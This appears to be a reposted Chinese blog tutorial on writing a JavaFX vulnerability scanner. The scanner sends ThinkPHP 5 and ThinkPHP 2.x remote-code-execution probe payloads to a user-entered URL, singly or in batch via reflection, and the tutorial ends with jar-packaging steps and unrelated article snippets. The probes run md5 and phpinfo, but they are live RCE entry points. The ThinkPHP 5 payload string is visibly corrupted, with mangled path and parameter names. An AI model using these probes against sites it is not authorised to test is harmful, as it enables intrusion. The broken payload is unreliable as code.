JAVA-Exploit編寫(13-15)--JAVAFX-GUI檢測工具編寫實現

目錄

一,JAVAFX-GUI單個漏洞檢測編寫

1.1 綁定事件????????

1.2 Thinkphp5_Rce編寫?

?1.3 編寫利用類

1.4?Thinkphp2x_Rce編寫

1.5 單個漏洞檢測GUI工具完整代碼?

二,JAVAFX-GUI單個漏洞批量檢測編寫

2.1 編寫利用反射類?

?2.2 批量檢測漏洞完整GUI工具代碼

?三,JAVAFX-GUI打包為jar包

?3.1.第一步打包jar

?3.2.工件處

3.3?主類選擇如圖所示

?3.4 本機使用配置

3.5 便捷使用創建bat文件?


一,JAVAFX-GUI單個漏洞檢測編寫

1.1 綁定事件????????

布局上有兩個按鈕 分別的功能是 單個模塊檢測和多個模塊檢測。

單個模塊檢測

首選介紹單個模塊檢測

?單個模塊的檢測是 按鈕檢測的時 獲取選擇框的值 調用對應的對應的模塊進行檢測。-先擇框選擇的時候 綁定事件

需要---綁定下拉框和----按鈕事件,獲取----輸入框的url信息和---返回響應結果設置到文本域框中

1.2 Thinkphp5_Rce編寫?

// 沒有選擇過的話,會出現null,因此設置初始值final String[] tmp = {"Thinkphp5_Rce"};//綁定事件// 下拉框選擇事件 設置類型為字符串類型,因為上面選擇框內選擇的為字符類型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存儲選擇的值,在類里面創建另一個無法獲取,因此在外面創建tmp[0] = newValue;}});//按鈕點擊事件BtnCheck.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {
//                    System.out.println("點擊");
//                    System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);String res = thinkphp5Rce.exploit();// System.out.println(res);// 將響應信息設置到文本域框中textArea.setText(res);}}}).start();
});

?1.3 編寫利用類

package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp5_Rce {private String url;public Thinkphp5_Rce() {}public Thinkphp5_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=index/thinklapp/invokefunction&function=call user func_array&vars[0]=md5&vars[1][=1";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){return this.url + "存在Thinkphp5_Rce漏洞:\n 漏洞檢測代碼:" + payload;}else{return "Thinkphp5_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "訪問異常";}}}

1.4?Thinkphp2x_Rce編寫

package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp2x_Rce {private String url;public Thinkphp2x_Rce() {}public Thinkphp2x_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=/E/D/I/${@phpinfo()}";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("phpinfo")){return this.url + " " + "存在Thinkphp2x_Rce漏洞:\n 漏洞檢測代碼:" + " " + this.url + payload;}else{return "Thinkphp2x_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "訪問異常";}}}

1.5 單個漏洞檢測GUI工具完整代碼?

package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;public class JavaFxMain extends Application {public static void main(String[] args) {//默認有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//設置舞臺的標題stage.setTitle("漏洞檢測工具");//禁止放大,無法點擊最大化按鈕stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//設置控件Label UrlLabel = new Label("網址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//設置文本框的默認值setText 設置提示setPromptTexttextField.setPromptText("請輸入網址:");//設置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//設置默認值choiceBox.setValue("Thinkphp5_Rce");//設置按鈕Button BtnCheck = new Button("單個檢測");Button BtnBatch = new Button("批量檢測");//設置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回結果信息........");//設置下拉屬性textArea.setWrapText(true);textArea.setPrefHeight(300);//設置控件的位置//設置網址標簽的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//設置信息標簽的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//設置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//設置文本框的寬度textField.setPrefWidth(260);//選擇框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//設置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//設置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//設置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是單個控件  addAll 是多個控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//設置場景 以及場景的大小Scene scene = new Scene(anchorPane, 700, 400);stage.setScene(scene);stage.show();// 沒有選擇過的話,會出現null,因此設置初始值final String[] tmp = {"Thinkphp5_Rce"};//綁定事件// 下拉框選擇事件 設置類型為字符串類型,因為上面選擇框內選擇的為字符類型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存儲選擇的值,在類里面創建另一個無法獲取,因此在外面創建tmp[0] = newValue;}});//按鈕點擊事件BtnCheck.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {
//                    System.out.println("點擊");
//                    System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//調用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 將響應信息設置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});}}

二,JAVAFX-GUI單個漏洞批量檢測編寫

? 獲取下拉框中的所有值,通過值,通過反射獲取對應的exp類,通過反射設置url的值,通過值來進行調用,注意,下拉框的值要與類名一致.

2.1 編寫利用反射類?

//批量檢測//按鈕點擊事件BtnBatch.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//獲取反射的類,這里需要注意這個com.exp.exploit后面的. 號Class clazz = Class.forName("com.exp.exploit." + item);// 反射的類含有無參構造Object o = clazz.newInstance();//修改反射的類的urlField fieldUrl = clazz.getDeclaredField("url");//設置權限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先獲取文本域中的內容,然后追加到文本域中(直接設置會出現覆蓋情況)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});

?2.2 批量檢測漏洞完整GUI工具代碼

package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class JavaFxMain extends Application {public static void main(String[] args) {//默認有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//設置舞臺的標題stage.setTitle("漏洞檢測工具");//禁止放大,無法點擊最大化按鈕stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//設置控件Label UrlLabel = new Label("網址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//設置文本框的默認值setText 設置提示setPromptTexttextField.setPromptText("請輸入網址:");//設置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//設置默認值choiceBox.setValue("Thinkphp5_Rce");//設置按鈕Button BtnCheck = new Button("單個檢測");Button BtnBatch = new Button("批量檢測");//設置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回結果信息........");//設置下拉屬性textArea.setWrapText(true);textArea.setPrefHeight(300);//設置控件的位置//設置網址標簽的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//設置信息標簽的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//設置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//設置文本框的寬度textField.setPrefWidth(260);//選擇框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//設置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//設置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//設置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是單個控件  addAll 是多個控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//設置場景 以及場景的大小Scene scene = new Scene(anchorPane, 650, 400);stage.setScene(scene);stage.show();// 沒有選擇過的話,會出現null,因此設置初始值final String[] tmp = {"Thinkphp5_Rce"};//綁定事件// 下拉框選擇事件 設置類型為字符串類型,因為上面選擇框內選擇的為字符類型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存儲選擇的值,在類里面創建另一個無法獲取,因此在外面創建tmp[0] = newValue;}});//按鈕點擊事件BtnCheck.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//調用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 將響應信息設置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});//批量檢測//按鈕點擊事件BtnBatch.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//獲取反射的類,這里需要注意這個com.exp.exploit后面的. 號Class clazz = Class.forName("com.exp.exploit." + item);// 反射的類含有無參構造Object o = clazz.newInstance();//修改反射的類的urlField fieldUrl = clazz.getDeclaredField("url");//設置權限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先獲取文本域中的內容,然后追加到文本域中(直接設置會出現覆蓋情況)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);
//                            System.out.println(res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});}}

?三,JAVAFX-GUI打包為jar包

?3.1.第一步打包jar

在設置處打開項目結構

?3.2.工件處

3.3?主類選擇如圖所示

如圖所示的路徑不要錯,也不要改,不然會出現問題?

點擊確定完成后?

選擇應用-→點擊確定,然后再IDEA的最上面選擇構建工件

選擇構建

輸出的工件如圖所示:在out中,然后就可以拿來使用了?

?3.4 本機使用配置

????????此時將構建好的jar包,復制到桌面發現打不開,或者出現打開后文件大小存在錯誤,這是因為構建工件時,使用的還是系統內置的環境,需要做下面的配置,注意其中-path后的路徑替換為自己本機的包的目錄,下面同理

java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar

使用時需要在17.0.10 bin環境下使用

java -version

?然后就會打開如下的工具界面

3.5 便捷使用創建bat文件?

C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar前面是jdk17的bin環境路徑 使用的時候只要雙擊bat文件即可

測試能不能正常使用,發現可以正常使用?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/896190.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/896190.shtml
英文地址,請注明出處:http://en.pswp.cn/news/896190.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

mysql-Innodb記錄結構深度解析

Innodb記錄結構 InnoDB記錄結構深度解析一、InnoDB存儲基礎單元&#xff1a;頁&#xff08;Page&#xff09;二、行格式&#xff08;Row Format&#xff09; 三、核心行格式詳解1. Compact行格式結構組成&#xff1a; 2. Redundant行格式&#xff08;兼容舊版本&#xff09;核心…

Deepin(Linux)安裝MySQL指南

1.下載 地址&#xff1a;https://downloads.mysql.com/archives/community/ 2.將文件解壓到 /usr/local 目錄下 先cd到安裝文件所在目錄再解壓&#xff0c;本機是cd /home/lu01/Downloads sudo tar -xvJf mysql-9.2.0-linux-glibc2.28-x86_64.tar.xz -C /usr/local3.創建軟鏈…

ZT9 游游的字母翻倍

描述 游游拿到了一個長度為n的字符串&#xff0c;她每次操作會選擇一個區間[l,r]&#xff0c;將第l個字母到第r個字母各重復一次&#xff0c;插入到該字母的后面。 例如&#xff0c;對于字符串"abcd"&#xff0c;若選擇區間[2,3]進行操作&#xff0c;字符串將變成&qu…

Visual Studio更新說明(關注:.NET+AI生產力)

Ver V0.0&#xff1a;Visual Studio 2022 v17.12更新:.NET9AI生產力 AI插件推薦 &#xff08;1&#xff09;騰訊云AI代碼手&#xff08;內含了DeepSeek-R1&#xff09;&#xff0c;目前免費&#xff0c;但收費我也可能會買。 AI插件!推薦 &#xff08;1&#xff09;百度的…

C++ 設計模式-訪問者模式

C++訪問者模式 一、模式痛點:當if-else成為維護噩夢 開發動物園管理系統,最初的需求很簡單: class Animal {}; class Cat : public Animal {}; class Dog : public Animal {};// 處理動物叫聲 void makeSound(Animal* a) {if (auto c = dynamic_cast<Cat*>(a)) {st…

QEMU源碼全解析 —— 內存虛擬化(17)

接前一篇文章:QEMU源碼全解析 —— 內存虛擬化(16) 本文內容參考: 《趣談Linux操作系統》 —— 劉超,極客時間 《QEMU/KVM源碼解析與應用》 —— 李強,機械工業出版社 QEMU內存管理模型

java基于數組實現隊列(四)

概述 實現我上一篇博客中提到的 實際上&#xff0c;就是用synchronized代碼塊解決線程安全問題&#xff0c;以及利用wait()、notify()實現線程阻塞、喚醒。 實現 pollV3() private Object lockBySynchronizednew Object();public int pollV3() {synchronized (lockBySynchr…

linux -對文件描述符的操作dup、fcntl有五種

dup #include<unistd.h> int dup(int oldfd);作用&#xff1a;復制一個新的文件描述符fd 3, int fd1 dup(fd);f指向的是a.txt,fd1指向的也是a.txt從空閑的文件描述符表中找一個最小的作為新的拷貝的文件描述符返回&#xff1a;成功返回新的文件描述符&#xff0c;失敗…

DeepSeek各模型現有版本對比分析

文章目錄 一、基礎模型系列&#xff1a;V1 到 V3 的演進二、專用模型系列&#xff1a;推理與多模態三、版本選型與商業化趨勢 DeepSeek作為最近特別火爆的模型&#xff0c;本文將對DeepSeek現有的主要版本進行對比分析,涵蓋參數規模、訓練數據、功能改進、應用場景和性能表現等…

深入解析:在Spring Boot中集成MyBatis Plus實現高效數據庫操作

前后端微服務商城項目&#xff0c;手把手教學&#xff01; 在Spring Boot中集成第三方框架&#xff0c;實際上是非常常見的一種做法。Spring Boot自帶了很多開箱即用的功能&#xff0c;但在實際項目開發中&#xff0c;我們經常需要借助一些第三方框架來實現更為復雜的功能。比如…

現場可以通過手機或者pad實時拍照上傳到大屏幕的照片墻現場大屏電子照片墻功能

現場可以通過手機或者pad實時拍照上傳到大屏幕的照片墻現場大屏電子照片墻功能&#xff0c;每個人都可以通過手機實時拍照上傳到大屏幕上,同時還可以發布留言內容&#xff0c;屏幕上會同步滾動播放展示所有人的照片和留言。相比校傳統的照片直播功能更加靈活方便&#xff0c;而…

項目管理工具Jira在營銷工作管理中的應用與實踐

本文由Atlassian全球白金合作伙伴-龍智編輯整理。 市場營銷人員是維系組織團結的粘合劑。作為公司中最具協作精神的團隊之一&#xff0c;他們確保每個人目標一致&#xff0c;并專注于客戶真正的需求。他們擅長溝通協作&#xff0c;積極響應客戶訴求及塑造品牌方向&#xff0c;…

grafana 忘記登陸密碼

重置 Grafana 登錄密碼 通過命令行重置 admin 密碼 # 如果是通過二進制安裝的 Grafana grafana-cli admin reset-admin-password <新密碼>

基于Flask框架的食譜數據可視化分析系統的設計與實現

【Flask】基于Flask框架的食譜數據可視化分析系統的設計與實現 &#xff08;完整系統源碼開發筆記詳細部署教程&#xff09;? 目錄 一、項目簡介二、項目界面展示三、項目視頻展示 一、項目簡介 在當今數字化時代&#xff0c;信息可視化已成為一種高效的數據理解和傳播手段。…

Ubuntu 下 nginx-1.24.0 源碼分析 - ngx_array_init 函數

ngx_array_init 定義在 src/core/ngx_array.h static ngx_inline ngx_int_t ngx_array_init(ngx_array_t *array, ngx_pool_t *pool, ngx_uint_t n, size_t size) {/** set "array->nelts" before "array->elts", otherwise MSVC thinks* that "…

基于 DeepSeek + Gemeni 打造 AI+前端的多人聊天室

開源項目 botgroup.chat 介紹 AI 多人聊天室&#xff1a; 一個基于 React 和 Cloudflare Pages(免費一鍵部署) 的多人 AI 聊天應用&#xff0c;支持多個 AI 角色同時參與對話&#xff0c;提供類似群聊的交互體驗。體驗地址&#xff1a;https://botgroup.chat 開源倉庫&#x…

GPU和FPGA的區別

GPU&#xff08;Graphics Processing Unit&#xff0c;圖形處理器&#xff09;和 FPGA&#xff08;Field-Programmable Gate Array&#xff0c;現場可編程門陣列&#xff09;不是同一種硬件。 我的理解是&#xff0c;雖然都可以用于并行計算&#xff0c;但是GPU是純計算的硬件…

詳解單例模式、模板方法及項目和源碼應用

大家好&#xff0c;我是此林。 設計模式為解決特定問題提供了標準化的方法。在項目中合理應用設計模式&#xff0c;可以避免重復解決相同類型的問題&#xff0c;使我們能夠更加專注于具體的業務邏輯&#xff0c;減少重復勞動。設計模式在定義系統結構時通常考慮到未來的擴展。…

高清下載油管視頻到本地

下載工具并安裝: yt-dlp官網地址&#xff1a; GitHub - yt-dlp/yt-dlp: A feature-rich command-line audio/video downloader ffmpeg官網地址&#xff1a; Download FFmpeg 注&#xff1a;記住為其添加環境變量 操作命令&#xff1a; 該指令表示以720p碼率下載VIDEO_UR…

Docker掛載數據顯式掛載和隱式掛載的區別

項目使用的Docker file 創建數據卷掛載點&#xff0c;結果發現宿主機目錄中的數據卷路徑下是空的&#xff0c;才知道docker file中創建的數據卷是隱式掛載&#xff0c;并不會在宿主機上留下持久化數據&#xff0c;隨著容器被刪除隱式掛載的數據卷也會跟著被刪除 后面改為在jen…